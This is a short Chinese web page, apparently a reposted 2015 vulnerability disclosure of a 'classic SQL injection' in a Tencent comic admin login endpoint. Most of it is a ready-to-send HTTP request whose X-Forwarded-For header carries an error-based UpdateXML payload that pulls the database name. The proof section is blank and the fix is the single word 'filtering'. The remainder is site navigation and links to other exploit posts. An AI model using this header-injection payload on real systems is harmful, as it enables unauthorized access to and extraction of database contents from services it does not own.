腾讯这是一个很经典的SQL注射 - 网站安全

腾讯这是一个很经典的SQL注射 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-16 23:15 作者：阅读:次

[导读] 腾讯-这是一个很经典的SQL注射详细说明：GET site login?jsonpCallbackParam=loginJsonpCallbackdata_info=1ajax=true_=1406730250627 HTTP 1 1Host: admin comic qq comX-FORWARDED-FOR:192 168 1 1+...

腾讯-这是一个很经典的SQL注射

GET /site/login?jsonpCallbackParam=loginJsonpCallback&data_info=1&ajax=true&_=1406730250627 HTTP/1.1

Host: admin.comic.qq.com

X-FORWARDED-FOR:192.168.1.1'+ (UpdateXML(1,CONCAT(0x5b,mid( (select database()) ,1,32),0x5d),1)) +'

http头注入

漏洞证明：

修复方案：

过滤

全球最大同性交友网全站用户数据告急(过狗直捣

DedeCMS-V5.7-UTF8-SP1 变反射为持久xss - 网站安全 - 自

子栏目

腾讯这是一个很经典的SQL注射 - 网站安全 - 自学

GET /site/login?jsonpCallbackParam=loginJsonpCallback&data_info=1&ajax=true&_=1406730250627 HTTP/1.1

漏洞证明：

修复方案：

最新评论

添加评论

更多文章推荐

添加评论